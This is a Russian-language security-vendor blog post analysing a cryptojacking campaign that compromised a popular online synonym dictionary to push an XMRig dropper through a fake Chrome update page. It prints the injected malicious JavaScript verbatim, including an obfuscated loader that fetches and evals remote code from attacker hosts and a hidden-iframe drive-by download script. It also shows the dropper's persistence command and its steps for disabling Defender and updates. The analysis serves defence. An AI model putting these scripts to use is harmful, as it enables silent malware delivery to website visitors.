Пока отдельные энтузиасты строят майнинг-фермы, а власти и Центробанк обсуждают вопрос легализации криптовалют в России, киберпреступники прибегают к криптождекингу — «подсаживанию» вредосного ПО, эксплуатирующего вычислительные мощности компьютера для добычи криптовалюты.
Весной аналитики Центра кибербезопасности F.A.C.C.T., обнаружили скрытую криптоджекинговую кампанию на сайте онлайн-словаря синонимов русского языка с посещаемостью более 5 миллионов визитов в месяц. Злоумышленники оставили «ловушку» — скрипт, тайно устанавливающий на компьютеры жертв ВПО для последующего скачивания майнера криптовалюты. Такая тактика особенно опасна, поскольку позволяет загружать и активировать более разрушительные и опасные программы.
В этом блоге мы покажем, как эксперты F.A.C.C.T. обнаружили и исследовали киберпреступную кампанию с помощью Managed Extended Detection and Response (MXDR) — решения F.A.C.C.T. для круглосуточного мониторинга, проактивного поиска киберугроз и противодействия атакам в режиме реального времени.

Изображение 1. Процесс реагирования Центра кибербезопасности F.A.C.C.T. на инцидент ИБ с помощью решения MXDR
Обнаружение инцидента
В один из дней во время круглосуточного мониторинга киберугроз аналитики Центра обеспечения кибербезопасности F.A.C.C.T. обратили внимание на вредоносные архивы, обнаруженные решением F.A.C.C.T. MXDR. Система выявила в инфраструктуре нескольких компаний-клиентов аномальное количество экземпляров ВПО в течение небольшого временного промежутка.
Необычным оказалось и само название архивов, найденных на атакованных хостах, — chromium-patch-nightly.00.[0-9]{3}.[0-9]{3}.zip. Помимо общей для всех сэмплов части с названием у каждого архива была своя уникальная цифровая последовательность — идентификатор. Все указывало на то, что клиенты F.A.C.C.T. MXDR получили вредоносные архивы из одного источника, а само развитие атаки было нестандартным.

Изображение 2. Уведомления об обнаружении вредоносных архивов в интерфейсе F.A.C.C.T. MXDR.
Атрибуция и исследование ВПО
Как только вредоносные архивы попали на рабочую станцию, система F.A.C.C.T. MXDR автоматически отправила их в модуль Malware Detonation Platform. Он запускает исполнение подозрительных файлов и ссылок в виртуальной машине, чтобы отследить вредоносную активность и сценарий атаки в безопасном режиме, а также формирует подробный отчет о детонации, который позволяет аналитикам выяснить источник заражения и природу вредоносного ПО.
Оказалось, что архив содержит исполняемый файл — дроппер, который впоследствии устанавливал майнер XMRig Coinminer, использующийся для майнинга криптовалюты Monero. Она позволяет злоумышленникам сохранять высокую степень анонимности, скрывая личности отправителя и получателя, а также почти все детали транзакций.
Сетевые индикаторы, свидетельствующие о коммуникации с известным адресом сервера для майнинга криптовалюты Monero:

Изображение 5. Данные в памяти процесса криптомайнера
Конфигурация майнера содержит различные параметры, такие как:
- cpu-max-threads=30 — максимальное количество потоков, используемых центральным процессором;
- cinit-stealth-targets — с помощью данного параметра майнер может приостанавливать свою активность и очищать память GPU при запуске программ из списка, например, ProcessHacker.exe или procexp64.exe, которые могут помочь обнаружить зловредный процесс;
- cinit-idle-cpu=80 — добыча криптовалюты начнется через 80 минут после перехода компьютера в режим ожидания.
- user=”87CiZcDDU…f8VF” — адрес кошелька.

Изображение 6. Баланс кошелька, адрес которого был обнаружен в конфигурации майнера
В ходе анализа, проведенного аналитиками Центра кибербезопасности F.A.C.C.T., выяснилось, что на рабочих станциях находились уникальные архивы с названиями, формируемыми по шаблону chromium-patch-nightly.00.[0-9]{3}.[0-9]{3}.zip, но с одинаковой структурой и функциями.
Ниже приводится описание загрузчика на примере ZIP архива с идентификатором 00.810.532.
В архиве содержится 4 файла:
- Исполняемый файл chromium-patch-nightly.00.810.532.exe (33251d1ec4f4ec19088c99d440bc4f0144259171), использующий MJS функции.
- Java Script 87968d094b1722e6253930c923a8f2828e667117, зашифрованный с использованием техники стеганографии.
- Полезная нагрузка 6bc997af69c702337c1d754558ecf5f70fb411b5, зашифрованная с использованием техники стеганографии.

Изображение 8. Использование стеганографии для шифрования JS скрипта и полезной нагрузки.
4. Html-файл для отвлечения внимания.
Алгоритм работы загрузчика:
- Исполняемый файл копирует зашифрованный JS скрипт 87968d094b1722e6253930c923a8f2828e667117 в локацию C:\Program Files\Google\Chrome\Update\generated_file_name.png:
2. С помощью ключа lzoj…SBj в функции strlen происходит расшифровка JS скрипта.

Изображение 10. Зашифрованный JS скрипт.
3. Расшифрованный на предыдущем этапе JS скрипт запускается, копирует зашифрованную полезную нагрузку 6bc997af69c702337c1d754558ecf5f70fb411b5 и расшифровывает ее с помощью того же метода XOR, а затем вызывается методом call(bytes).

Изображение 11. Расшифрованный JS скрипт.
4. В результате дешифрования полезной нагрузки создается файл updater.exe 33251d1ec4f4ec19088c99d440bc4f0144259171, который закрепляется в системе /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr “‘C:\Program Files\Google\Chrome\updater.exe'”.

Изображение 12. Закрепление полезной нагрузки в системе. Интерфейс F.A.C.C.T. MXDR
Отчет F.A.C.C.T. Malware Detonation Platform содержит много полезной поведенческой информации, полученной в ходе исполнения и анализа вредоносной программы. С помощью платформы детонации ВПО были идентифицированы следующие техники:
Техника используется для добавления немаршрутизируемых адресов защитных решений в локальный файл hosts. Это препятствует обновлению антивирусных баз и самого защитного ПО, установленного на компьютере жертвы.
Папка ProgramFiles, в которой будет развернут майнер, добавляется в исключения защитника Windows с помощью Powershell.
Техника используется для запуска проверки наличия прав администратора у текущего пользователя. Если таковые имеются и версия ОС ниже 6.2, то создается запланированная задача GoogleUpdateTaskMachineQC, запускающая майнер с наивысшими привилегиями при каждом входе пользователя в систему. В версиях ОС 6.2 или выше создается аналогичная задача, но с набором параметров для более продолжительной работы. В случае отсутствия прав администратора майнер будет прописан в автозапуске.
Отключается режим сна и гибернации для обеспечения бесперебойной работы и процесса майнинга.
С помощью этой техники злоумышленники могут останавливать и удалять следующие службы:
doscv
wuauserv
usosvc
bits
waasmedicsvc
Отключение вышеуказанных служб необходимо для приостановки получения любых обновлений для ОС, в том числе обновлений Microsoft Defender.

Изображение 13. Техники и тактики, использованные в ходе кампании, в формате матрицы MITRE ATT&CK. Интерфейс F.A.C.C.T. MXDR.
Обнаружение вектора первичного заражения
Чтобы выяснить, откуда именно зараженные архивы попали в инфраструктуру клиентов, аналитики обратились к данным модуля F.A.C.C.T. Endpoint Detection and Response (EDR). Эта часть решения MXDR предоставляет широкие возможности для проведения исследований рабочих станций, на которых произошел инцидент. Анализ совокупности событий, связанных с обнаружением вредоносного объекта на хосте, показал что архивы скачивались в папку ”Downloads”.

Изображение №14. Полный путь загруженного архива.
Так как данная папка, как правило, используется по умолчанию для загрузки объектов в рамках пользовательской интернет-сессии, аналитиками было принято решение провести исследование истории браузера. С этой целью была запущена встроенная в F.A.C.C.T. EDR функция сбора артефактов на хосте.

Изображение 15. Подробная информация по устройству с EDR-агентом и опции реагирования. Интерфейс F.A.C.C.T. MXDR.
Специалисты выгрузили артефакты браузера с целью определить источник загрузки вредоносного экземпляра.

Изображение 16. Сбор криминалистических данных и артефактов с хоста. Интерфейс F.A.C.C.T. MXDR.
Во всех исследуемых случаях источником являлся веб-сайт онлайн-словаря.

Изображение 17. Лог истории браузера в BrowsingHistoryView
Аналитики Центра кибербезопасности F.A.C.C.T. восстановили цепочку заражения вредоносным ПО. Перейдя на ресурс, чтобы подобрать синоним, посетитель видел страницу-обманку. Одновременно начиналась автоматическая загрузка вредоносного архива с сайта. Примечательно, что скрипт, приводящий к загрузке вредоносного архива, не был внедрен в раздел поиска антонимов.

Изображение 18. Текст на странице призывает пользователя открыть архив и запустить исполняемый файл, находящийся внутри архива.
Сам архив загружается с другого ресурса — chrome-error[.]co.
Полный путь для пользователя выглядит так: blob:https://<сайт словаря>/<random_GUID>. При этом, каждый раз генерируется новый идентификатор GUID:
Реагирование на инцидент
Обнаружив и исследовав с помощью F.A.C.C.T. Malware Detonation Platform вредоносный архив аналитики Центра кибербезопасности F.A.C.C.T. начали проверку конечных хостов, чтобы выяснить запускался ли на них дроппер из архива.
Используя один из фильтров – Header.ImageFileName во вкладке поиска событий с конечных хостов, специалисты F.A.C.C.T. могли увидеть следы активности дроппера chromium-patch-nightly.*.exe на хосте. Однако, как видно на скриншоте, следы запуска дроппера отсутствовали.

Изображение 19. Проверка событий на конечных хостах, поиск следов запуска дроппера. Интерфейс F.A.C.C.T. MXDR.
Дополнительно для обнаружения активности ВПО можно использовать и другие поисковые запросы, основываясь на информации из отчета Malware Detonation Platform:
В ходе расследования аналитиками Центра кибербезопасности F.A.C.C.T. было установлено, что ни на одном хосте, на который был загружен архив, дроппер запущен не был.
Чтобы купировать потенциальное развитие инцидента, специалисты F.A.C.C.T. провели оповещение по заранее согласованным с клиентами каналами связи. Параллельно этому, специалисты предоставили общий контекст инцидента и поделились рекомендациями по предотвращению последствий в соответствующем разделе комментариев к текущему инциденту в системе MXDR:

Изображение 23. Комментарий специалиста. Интерфейс F.A.C.C.T. MXDR.
Несмотря на общую рекомендацию удалить архив, после получения подтверждения от Malware Detonation Platform, опасный файл сразу становится недоступным для запуска, а значит фактически перестает нести угрозу.
EDR-агент в составе решения F.A.C.C.T. MXDR позволяет автоматически блокировать вредоносные файлы и перемещать их в локальный карантин.
Однако, блокировка известных вредоносных файлов в системе F.A.C.C.T. MXDR работает независимо от функции детонации ВПО. EDR-агент периодически запрашивает у головной MXDR-консоли список хэш-сумм файлов, ранее проанализированных и признанных подсистемой поведенческого анализа вредоносными. Это значит, что если EDR-агент установлен у двух клиентов, то после обнаружения вредоносного файла у одного из них хэш появится в списке для блокировки у второго — того, в чьей системе нет и никогда не было этого вредоносного файла.
Исследование источника загрузки
В коде страницы <сайт словаря>/s/<слово> обнаружен следующий блок:
<script>fetch(function(A,c){for(var e=””,t=0;t<A.length;t++)e+=String.fromCharCode(A.charCodeAt(t)^c.charCodeAt(t%c.length));return e}(atob(“DERFEksNGRoBUBBXFAdBSkheXFNFVx8BWQsRAksKR1YXH2APbWFbXBVVHFs6UwxXUGNWAGJ+WhdnFTcRICJFciZaRwFPcwVCKFxRSAY8biA=”),”d01b8765f1d2cf8d8722161b5ddfdc70″)).then(A=>A.text()).then(it=>eval(it));</script>
Функция отвечает за подгрузку скрипта со статичного URL hXXps://gateway[.]pinata[.]cloud/ipfs/QmUVmisdxiY543hTd2SHkuRqSwDArBBjvcwD3wNm5zeZVD и последующее его исполнение:
function _0x1788(){var _0x3e1c4e=[‘unknown’,’15337MdMItX’,’script[src*=\x22mtizndu2\x22]’,’text’,’126IxNuBC’,’624gRVYOA’,’href’,’1526574vKHvTY’,’https://gateway.chrome-error.co/probe/v1/’,’then’,’6481640KcopPX’,’src’,’4548eMqYQQ’,’location’,’6rZKPYZ’,’getAttribute’,’__exoclick__ads__show’,’split’,’1243065zgUVSa’,’173080bsKStH’,’6QQsqtI’,’1651400hjUOci’,’http’];_0x1788=function(){return _0x3e1c4e;};return _0x1788();}var _0x4626d5=_0x4199;(function(_0x566f93,_0x278049){var _0x50077b=_0x4199,_0x150c3f=_0x566f93();while(!![]){try{var _0x333bd3=parseInt(_0x50077b(0x12e))/0x1*(parseInt(_0x50077b(0x124))/0x2)+parseInt(_0x50077b(0x11b))/0x3*(parseInt(_0x50077b(0x122))/0x4)+parseInt(_0x50077b(0x128))/0x5+-parseInt(_0x50077b(0x12a))/0x6*(-parseInt(_0x50077b(0x11d))/0x7)+-parseInt(_0x50077b(0x12b))/0x8+-parseInt(_0x50077b(0x11a))/0x9*(-parseInt(_0x50077b(0x129))/0xa)+-parseInt(_0x50077b(0x120))/0xb;if(_0x333bd3===_0x278049)break;else _0x150c3f[‘push’](_0x150c3f[‘shift’]());}catch(_0x507174){_0x150c3f[‘push’](_0x150c3f[‘shift’]());}}}(_0x1788,0x2fd09));function _0x4199(_0x42d529,_0x37375d){var _0x178801=_0x1788();return _0x4199=function(_0x419966,_0x11bb4e){_0x419966=_0x419966-0x118;var _0x56f2c1=_0x178801[_0x419966];return _0x56f2c1;},_0x4199(_0x42d529,_0x37375d);}!window[‘__exoclick__ads__show’]&&(window[_0x4626d5(0x126)]=’1′,(function(){var _0x4a4da1=_0x4626d5,_0x4595ed=_0x4a4da1(0x12d);try{_0x4595ed=document[‘querySelector’](_0x4a4da1(0x118))[_0x4a4da1(0x125)](_0x4a4da1(0x121))[_0x4a4da1(0x127)](‘mtizndu2=’)[0x1];}catch(_0x50737e){}var _0x46a74a=window[_0x4a4da1(0x123)][_0x4a4da1(0x11c)];fetch(_0x4a4da1(0x11e)+_0x4595ed+’/’+_0x46a74a),fetch(‘https://gateway.chrome-error.co/payload/v1’)[‘then’](_0x6aa96d=>{return _0x6aa96d[‘text’]();})[_0x4a4da1(0x11f)](_0x1a0f40=>{var _0x50ef2f=_0x4a4da1;_0x1a0f40&&_0x1a0f40[‘startsWith’](_0x50ef2f(0x12c))&&fetch(_0x1a0f40)[_0x50ef2f(0x11f)](_0x437248=>_0x437248[_0x50ef2f(0x119)]())[_0x50ef2f(0x11f)](_0xf9ff21=>eval(_0xf9ff21));});}()));
Исследуемый скрипт выполняет следующие действия:
- «Отстукивается» на страницу hXXps://gateway[.]chrome-error[.]co/probe/v1/undefined/<URL сайта, на котором расположен изначальный инжект>
- Скачивает с hXXps://gateway[.]chrome-error[.]co/payload/v1 адрес нового скрипта и исполняет его. Адрес может быть таким: hXXps://gateway[.]pinata[.]cloud/ipfs/QmcMovkgsDLcDn7SM1ifWwWZyaCjpoH7bCepmsb882AvZj
Загружаемый скрипт выглядит так:
function isWindowsChrome(){return!!localStorage.getItem(“forceWindows”)||-1!==[“Win32″,”Win64″,”Windows”,”WinCE”].indexOf(window.navigator?.userAgentData?.platform||window.navigator.platform)&&navigator.userAgent.indexOf(“Chrome”)>-1}function setCookie(e,t,i){var n=””;if(i){var f=new Date;f.setTime(f.getTime()+864e5*i),n=”; expires=”+f.toUTCString()}document.cookie=e+”=”+(t||””)+n+”; path=/”}function getCookie(e){for(var t=e+”=”,i=document.cookie.split(“;”),n=0;n<i.length;n++){for(var f=i[n];” “==f.charAt(0);)f=f.substring(1,f.length);if(0==f.indexOf(t))return f.substring(t.length,f.length)}return null}function crash_page(){fetch(“https://gateway.pinata.cloud/ipfs/QmUBgSVFmhT1GU1YuoqDY7ZX47TWsWJBN3pLgbQF4jRjRZ”).then(e=>e.text()).then(e=>{window.location.href=URL.createObjectURL(new Blob([e],{type:”text/html”}))})}if(!window.c122eba0264bfd7e383f015cecf59fbd&&isWindowsChrome()){if(window.c122eba0264bfd7e383f015cecf59fbd=”1″,getCookie(“c122eba0264bfd7e383f015cecf59fbd”)){var e,t=Number(getCookie(“c122eba0264bfd7e383f015cecf59fbd”));if(new Date().getTime()-t<12e5)for(var i=5;i>3;i+=1)console.log(i)}else{var n=!1;document.addEventListener(“visibilitychange”,function(){!n&&!window.c16860e7bf4f4a335c8962681ca2c8eb04453995&&(document.hidden||(n=!0,crash_page(),setCookie(“c122eba0264bfd7e383f015cecf59fbd”,new Date().getTime(),1)))}),setTimeout(function(){!n&&!window.c16860e7bf4f4a335c8962681ca2c8eb04453995&&(document.hidden||(n=!0,crash_page(),setCookie(“c122eba0264bfd7e383f015cecf59fbd”,new Date().getTime(),1)))},5e3)}}
Этот скрипт проверяет следующие параметры:
- наличие cookie c122eba0264bfd7e383f015cecf59fbd;
- операционную систему посетителя;
- браузер посетителя.
Если cookie отсутствует, система — Windows, а браузер — Chrome, скрипт продолжит работу и на 24 часа присвоит вышеуказанной куки значение 1.
Через 5 секунд или при переключении на вкладку с сайтом, подгрузится Blob объект со следующего URL: https://gateway.pinata.cloud/ipfs/QmUBgSVFmhT1GU1YuoqDY7ZX47TWsWJBN3pLgbQF4jRjRZ
При этом посетитель сайта увидит страницу-ошибку Chrome с предложением установить загруженное обновление:
За подгрузку «обновления» отвечает следующий скрипт:
function load_payload(){var iframe=document.createElement(‘iframe’); var baseVersion=Math.random().toString().substr(0, 5); var filename=`chromium-patch-nightly.0` + baseVersion + Math.random().toString().substr(1, 4); iframe.src=`data:text/html,<html><head><script src=’https://cdnjs.cloudflare.com/ajax/libs/jszip/3.10.1/jszip.min.js’><` + `/script></head><body><script>var zip;function click(e){try{e.dispatchEvent(new MouseEvent(‘click’))}catch(n){var t=document.createEvent(‘MouseEvents’);t.initMouseEvent(‘click’,!0,!0,window,0,0,0,80,20,!1,!1,!1,!1,0,null),e.dispatchEvent(t)}}function saveAs(e,n){var t=document.createElement(‘a’);n=n||e.name||’download’,t.download=n,t.rel=’noopener’,t.href=URL.createObjectURL(e),setTimeout(function(){URL.revokeObjectURL(t.href)},4e4),setTimeout(function(){click(t)},0)}window.onload=function(){fetch(‘https://gateway.chrome-error.co/release.zip’).then(e=>e.blob()).then(e=>{zip=new JSZip();return zip.loadAsync(e)}).then(e=>e.file(‘payload.exe’).async(‘uint8array’)).then(e=>{zip.remove(‘payload.exe’),zip.file(‘` + filename + `.exe’,e),zip.generateAsync({type:’blob’,compression:’DEFLATE’,compressionOptions:{level:9}}).then(function(e){saveAs(e,’` + filename + `.zip’);})})};
При подгрузке страницы скрипт в не отображаемом iframe скачивает архив по ссылке hXXps://gateway[.]chrome-error[.]co/release.zip и переименовывает в нем файл payload.exe на chromium-patch-nightly.0.0.<3 случайные цифры>.<4 случайные цифры>. Затем скрипт создает ссылку на скачивание данного архива, отправляя его на хост посетителя. Через 4 секунды ссылка на архив уничтожается.
К моменту публикации этого блога вредоносный скрипт был убран с сайта онлайн-словаря. Сейчас веб-ресурс не представляет опасности для посетителей.
Заключение
Как показало исследование F.A.C.C.T., для распространения майнера использовался онлайн-словарь — русскоязычный ресурс, пользующийся доверием у миллионов посетителей. Это в очередной раз подтверждает, что отличная репутация или посещаемость ресурса еще не являются гарантиями его безопасности для пользователей.
В ходе кампании злоумышленники использовали довольно простые и хорошо известные исследователям и специалистам по кибербезопасности тактики обхода обнаружения атаки. В частности, атакующие применили метод drive-by-download для загрузки вредоносного кода на компьютеры пользователей, с дополнительным этапом в виде социальной инженерии — фейковой страницей ошибки и инструктажем.
Однако, примитивность тактик злоумышленников не должна вводить в заблуждение — попавший в инфраструктуру компании лоадер становится эффективным вектором для будущих атак. Он позволяет незаметно загружать в систему не только майнеры, которые в целом не ведут к серьезным сбоям в работе, но и другое ВПО. Например, такая уязвимость может использоваться для загрузки в систему программ-шифровальщиков или вайперов, что потенциально ведет к разрушительным последствиям и значительному ущербу.
Рекомендации
- Регулярно устанавливать обновления операционной системы и других используемых программных продуктов (браузеры, офисные приложения).
- Убедиться в использовании официальных источников для загрузки ПО и всех обновлений для рабочих станций или ограничить права пользователей на самостоятельное обновление ПО.
- Следить за производительностью и использованием ресурсов рабочих станций. Необычно высокая загрузка CPU или GPU быть признаком активности криптомайнера. Для выявления используйте встроенный диспетчер задач или другие средства для мониторинга ресурсов.
- Использовать решения класса Endpoint detection and Response, чтобы блокировать вредоносные файлы при загрузке и купировать атаку на самых ранних этапах.
- Для безопасной детонации и исследования подозрительных файлов использовать современные решения класса Malware Detonation Platform.
Модули Endpoint Detection and Response и Malware Detonation Platform входят в состав Managed Extended Detection and Response (MXDR) — комплексного решения F.A.C.C.T. для обнаружения и устранения киберугроз, включающего сервисную составляющую. Поддержка ведущих аналитиков Центра кибербезопасности F.A.C.C.T. позволяет существенно расширить возможности внутренней команды ИБ в сфере обнаружения и проактивного поиска угроз, а также реагирования на инциденты кибербезопасности.
Попробовать Managed XDR от F.A.C.C.T.
Запросите демо и начните выявлять и устранять киберугрозы с F.A.С.С.T. Managed XDR